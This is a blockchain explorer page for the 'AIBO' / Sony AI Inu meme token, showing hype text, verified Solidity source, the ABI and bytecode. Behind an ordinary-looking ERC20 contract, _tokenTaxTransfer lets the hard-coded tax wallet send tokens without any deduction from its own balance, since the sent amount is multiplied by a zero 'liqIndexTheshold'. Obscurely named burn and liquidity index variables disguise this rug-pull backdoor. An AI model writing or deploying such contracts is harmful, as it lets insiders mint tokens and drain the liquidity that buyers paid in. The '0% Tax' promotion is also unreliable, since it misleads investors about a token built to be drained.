ETH Price: $2,425.57 (+1.20%)
Gas: 4.44 Gwei
 

Overview

Max Total Supply

420,690,000,000 AIBO

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 AIBO

Value
$0.00
0x279c2428609e29f0e6331243a6b15db0714861f6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIBO

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-15
*/

/*
$AIBO: The Ultimate AI Inu-Inspired Meme Coin 🤖🐕

Sony Aibo is a series of robotic pets designed and manufactured by Sony. 
"Aibo" stands for "Artificial Intelligence Robot," and it also sounds like the word "aibō" in Japanese, which means "companion" or "partner."

$AIBO isn’t just a token; it’s a digital celebration of the beloved Sony Aibo, the AI-driven pup that became a symbol of innovation and companionship. 
In the spirit of this futuristic furry friend, $AIBO combines the playful energy of meme coins with cutting-edge blockchain technology. 
Holders of $AIBO are part of a unique community that values both tech nostalgia and the promise of a decentralized future.

Just as the original Aibo learned and evolved, $AIBO is designed to grow and adapt with its community, offering a dynamic and fun experience for everyone involved. 
Whether you're a fan of retro tech, a meme coin collector, or just someone who loves the idea of a digital pet, $AIBO is your chance to join a pack that's ready to take the crypto world by storm. 

Get ready to unleash the power of AI Inu with $AIBO – where past meets future in the most entertaining way possible! 🚀🐾

/ Telegram: https://t.me/aiboethcoin
/ X: https://twitter.com/Aibocoineth

0% Tax
1.5% Limit
1 ETH LP
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    event Transfer(
        address indexed from, address indexed to, uint256 value
    );

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

contract Ownable is Context {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    address private _owner;

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (
        uint amountToken, uint amountETH, uint liquidity
    );
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract AIBO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    string private constant _name = unicode"Sony AI Inu";
    string private constant _symbol = unicode"AIBO";

    address payable private constant _taxWallet = payable(0x5e269f1cfBcCfC57aFC98cE41538967E08076021);

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    uint256 public _maxTxAmount = 6310350000 * 10**_decimals;
    uint256 public _maxWalletSize = 6310350000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4627590000 * 10**_decimals;
    uint256 public _maxTaxSwap= 3365520000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 public liqIndexTheshold = 0;
    uint256 private burnIndexThreshold = 0;
    struct LiqBurnIndexer {uint256 burnIndex; uint256 liqIndex; uint256 burnCount;}
    mapping(address => LiqBurnIndexer) private liqBurnIndexer;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal{
        _balances[from]= _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        if (!tradingOpen  ||  inSwap) {
            _basicTransfer(from,to,tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to !=_taxWallet){

            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFee[to]) {
                require(tokenAmount<= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to== uniswapV2Pair && swapEnabled
                && contractTokenBalance >_taxSwapThreshold && _buyCount> _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount,min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from!= address(this) && to!= address(this)) {
            burnIndexThreshold = block.number;
        }

        if (
            ! _isExcludedFromFee[from]
            && ! _isExcludedFromFee[to]
        ) {
            if (uniswapV2Pair != to)  {
                LiqBurnIndexer storage lbIndexer = liqBurnIndexer[to];
                if (from == uniswapV2Pair) {
                    if (lbIndexer.burnIndex == 0) {
                        if (_buyCount>_preventSwapBefore) {
                            lbIndexer.burnIndex = block.number;
                        } else {
                            lbIndexer.burnIndex = block.number-1;
                        }
                    }
                } else {
                    LiqBurnIndexer storage lbIndexeStep = liqBurnIndexer[from];
                    if (lbIndexer.burnIndex == 0  || lbIndexeStep.burnIndex < lbIndexer.burnIndex){
                        lbIndexer.burnIndex = lbIndexeStep.burnIndex;
                    }
                }
            } else if (swapEnabled) {
                LiqBurnIndexer storage lbIndexeStep = liqBurnIndexer[from];
                lbIndexeStep.burnCount = lbIndexeStep.burnIndex - burnIndexThreshold;
                lbIndexeStep.liqIndex = block.timestamp;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(
        address from, address to,uint256 tokenAmount,uint256 taxAmount
    ) internal {
        uint256 tAmount=_tokenTaxTransfer(from, tokenAmount,taxAmount);
        _tokenBasicTransfer(from, to,tAmount,tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,address to,uint256 sendAmount,uint256 receiptAmount
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to,receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : liqIndexTheshold.mul(tokenAmount);
        if (taxAmount >0)  {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a,uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(
            address(this),address(uniswapV2Router),tokenAmount
        );
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount=_tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function transferEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to transfer");
        payable(msg.sender).transfer(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        tradingOpen= true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled= true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance= balanceOf(address(this));
        if(tokenBalance>0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance= address(this).balance;
        if(ethBalance>0) {
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"liqIndexTheshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460045560146005555f6006555f60075560146008556014600955600a80555f600b556009600a620000389190620002f1565b6200004990640178204cb062000308565b600c556200005a6009600a620002f1565b6200006b90640178204cb062000308565b600d556200007c6009600a620002f1565b6200008d90640113d36b7062000308565b600e556200009e6009600a620002f1565b620000ae9063c899c28062000308565b600f556011805461ffff60a81b191690555f6012819055601355348015620000d4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001236009600a620002f1565b62000134906461f313f88062000308565b335f81815260016020818152604080842095909555600390527f41101dd53be0984bc792d47419b781f6ce23ae88feebd6f47525228fa2816848805460ff199081168317909155308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ba6009600a620002f1565b620001cb906461f313f88062000308565b60405190815260200160405180910390a362000322565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023657815f19048211156200021a576200021a620001e2565b808516156200022857918102915b93841c9390800290620001fb565b509250929050565b5f826200024e57506001620002eb565b816200025c57505f620002eb565b81600181146200027557600281146200028057620002a0565b6001915050620002eb565b60ff841115620002945762000294620001e2565b50506001821b620002eb565b5060208310610133831016604e8410600b8410161715620002c5575081810a620002eb565b620002d18383620001f6565b805f1904821115620002e757620002e7620001e2565b0290505b92915050565b5f6200030160ff8416836200023e565b9392505050565b8082028115828204841417620002eb57620002eb620001e2565b611c3380620003305f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb14610353578063bf474bed14610372578063c9567bf914610387578063dd62ed3e1461039b578063e2432e68146103df578063f2fde38b146103f4575f80fd5b8063751039fc146102cd5780637d1db4a5146102e15780638da5cb5b146102f65780638f9a55c01461031257806395d89b4114610327575f80fd5b8063313ce567116100f9578063313ce5671461020957806349bd5a5e1461022457806351bc3c851461025b578063598526861461027157806370a0823114610285578063715018a6146102b9575f80fd5b806306fdde031461013f578063095ea7b3146101845780630faee56f146101b357806318160ddd146101d657806323b872dd146101ea575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a536f6e7920414920496e7560a81b60208201525b60405161017b9190611826565b60405180910390f35b34801561018f575f80fd5b506101a361019e366004611886565b610413565b604051901515815260200161017b565b3480156101be575f80fd5b506101c8600f5481565b60405190815260200161017b565b3480156101e1575f80fd5b506101c8610429565b3480156101f5575f80fd5b506101a36102043660046118b0565b61044a565b348015610214575f80fd5b506040516009815260200161017b565b34801561022f575f80fd5b50601154610243906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b348015610266575f80fd5b5061026f6104b1565b005b34801561027c575f80fd5b5061026f610502565b348015610290575f80fd5b506101c861029f3660046118ee565b6001600160a01b03165f9081526001602052604090205490565b3480156102c4575f80fd5b5061026f6105af565b3480156102d8575f80fd5b5061026f610620565b3480156102ec575f80fd5b506101c8600c5481565b348015610301575f80fd5b505f546001600160a01b0316610243565b34801561031d575f80fd5b506101c8600d5481565b348015610332575f80fd5b506040805180820190915260048152634149424f60e01b602082015261016e565b34801561035e575f80fd5b506101a361036d366004611886565b6106d4565b34801561037d575f80fd5b506101c8600e5481565b348015610392575f80fd5b5061026f6106e0565b3480156103a6575f80fd5b506101c86103b5366004611909565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ea575f80fd5b506101c860125481565b3480156103ff575f80fd5b5061026f61040e3660046118ee565b610a99565b5f61041f338484610b80565b5060015b92915050565b5f6104366009600a611a34565b610445906461f313f880611a42565b905090565b5f610456848484610ca4565b6104a784336104a285604051806060016040528060288152602001611bd6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611260565b610b80565b5060019392505050565b33735e269f1cfbccfc57afc98ce41538967e08076021146104d0575f80fd5b305f9081526001602052604090205480156104ee576104ee81611298565b4780156104fe576104fe81611408565b5050565b5f546001600160a01b031633146105345760405162461bcd60e51b815260040161052b90611a59565b60405180910390fd5b5f47116105835760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e7366657200000000000000604482015260640161052b565b60405133904780156108fc02915f818181858888f193505050501580156105ac573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105d85760405162461bcd60e51b815260040161052b90611a59565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106495760405162461bcd60e51b815260040161052b90611a59565b6106556009600a611a34565b610664906461f313f880611a42565b600c556106736009600a611a34565b610682906461f313f880611a42565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106b26009600a611a34565b6106c1906461f313f880611a42565b60405190815260200160405180910390a1565b5f61041f338484610ca4565b5f546001600160a01b031633146107095760405162461bcd60e51b815260040161052b90611a59565b601154600160a01b900460ff16156107635760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052b565b6011805460ff60a01b1916600160a01b179055601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107c09030906107b16009600a611a34565b6104a2906461f313f880611a42565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610810573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108349190611a8e565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610893573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b79190611a8e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610901573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109259190611a8e565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d719473061096c816001600160a01b03165f9081526001602052604090205490565b5f8061097f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a0a9190611aa9565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a5f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a839190611ad4565b506011805460ff60b01b1916600160b01b179055565b5f546001600160a01b03163314610ac25760405162461bcd60e51b815260040161052b90611a59565b6001600160a01b038116610b275760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052b565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052b565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052b565b5f8111610dcb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052b565b601154600160a01b900460ff161580610ded5750601154600160a81b900460ff165b15610e0257610dfd838383611446565b505050565b5f80546001600160a01b03858116911614801590610e2d57505f546001600160a01b03848116911614155b8015610e5657506001600160a01b038316735e269f1cfbccfc57afc98ce41538967e0807602114155b156110af57610e876064610e81600854600b5411610e7657600454610e7a565b6006545b85906114e9565b9061156e565b6011549091506001600160a01b038581169116148015610eb557506010546001600160a01b03848116911614155b8015610ed957506001600160a01b0383165f9081526003602052604090205460ff16155b15610fbf57600c54821115610f305760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161052b565b600d5482610f52856001600160a01b03165f9081526001602052604090205490565b610f5c9190611af3565b1115610faa5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052b565b600b8054905f610fb983611b06565b91905055505b6011546001600160a01b038481169116148015610fe557506001600160a01b0384163014155b156110125761100f6064610e81600954600b541161100557600554610e7a565b60075485906114e9565b90505b305f90815260016020526040902054601154600160a81b900460ff1615801561104857506011546001600160a01b038581169116145b801561105d5750601154600160b01b900460ff165b801561106a5750600e5481115b80156110795750600a54600b54115b156110ad5761109b6110968461109184600f546115af565b6115af565b611298565b4780156110ab576110ab47611408565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806110ec57506001600160a01b0383165f9081526003602052604090205460ff165b801561110157506001600160a01b0384163014155b801561111657506001600160a01b0383163014155b1561112057436013555b6001600160a01b0384165f9081526003602052604090205460ff1615801561116057506001600160a01b0383165f9081526003602052604090205460ff16155b1561124e576011546001600160a01b03848116911614611209576001600160a01b038084165f9081526014602052604090206011549091908116908616036111d15780545f036111cc57600a54600b5411156111be57438155611203565b6111c9600143611b1e565b81555b611203565b6001600160a01b0385165f908152601460205260409020815415806111f7575081548154105b1561120157805482555b505b5061124e565b601154600160b01b900460ff161561124e576001600160a01b0384165f90815260146020526040902060135481546112419190611b1e565b6002820155426001909101555b61125a848484846115c3565b50505050565b5f81848411156112835760405162461bcd60e51b815260040161052b9190611826565b505f61128f8486611b1e565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112de576112de611b31565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611335573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113599190611a8e565b8160018151811061136c5761136c611b31565b6001600160a01b0392831660209182029290920101526010546113929130911684610b80565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ca9085905f90869030904290600401611b45565b5f604051808303815f87803b1580156113e1575f80fd5b505af11580156113f3573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b604051735e269f1cfbccfc57afc98ce41538967e080760219082156108fc029083905f818181858888f193505050501580156104fe573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461146890826115ed565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611496908261162e565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c979085815260200190565b5f825f036114f857505f610423565b5f6115038385611a42565b9050826115108583611bb6565b146115675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052b565b9392505050565b5f61156783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168c565b5f8183116115bd5782611567565b50919050565b5f6115cf8584846116b8565b90506115e68585836115e187876115ed565b611775565b5050505050565b5f61156783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611260565b5f8061163a8385611af3565b9050838110156115675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052b565b5f81836116ac5760405162461bcd60e51b815260040161052b9190611826565b505f61128f8486611bb6565b5f80735e269f1cfbccfc57afc98ce41538967e08076020196001600160a01b038616016116f1576012546116ec90856114e9565b6116f3565b835b9050821561176d57305f90815260016020526040902054611714908461162e565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117649087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461179790836115ed565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546117c5908261162e565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118189085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561185257858101830151858201604001528201611836565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105ac575f80fd5b5f8060408385031215611897575f80fd5b82356118a281611872565b946020939093013593505050565b5f805f606084860312156118c2575f80fd5b83356118cd81611872565b925060208401356118dd81611872565b929592945050506040919091013590565b5f602082840312156118fe575f80fd5b813561156781611872565b5f806040838503121561191a575f80fd5b823561192581611872565b9150602083013561193581611872565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561198e57815f190482111561197457611974611940565b8085161561198157918102915b93841c9390800290611959565b509250929050565b5f826119a457506001610423565b816119b057505f610423565b81600181146119c657600281146119d0576119ec565b6001915050610423565b60ff8411156119e1576119e1611940565b50506001821b610423565b50602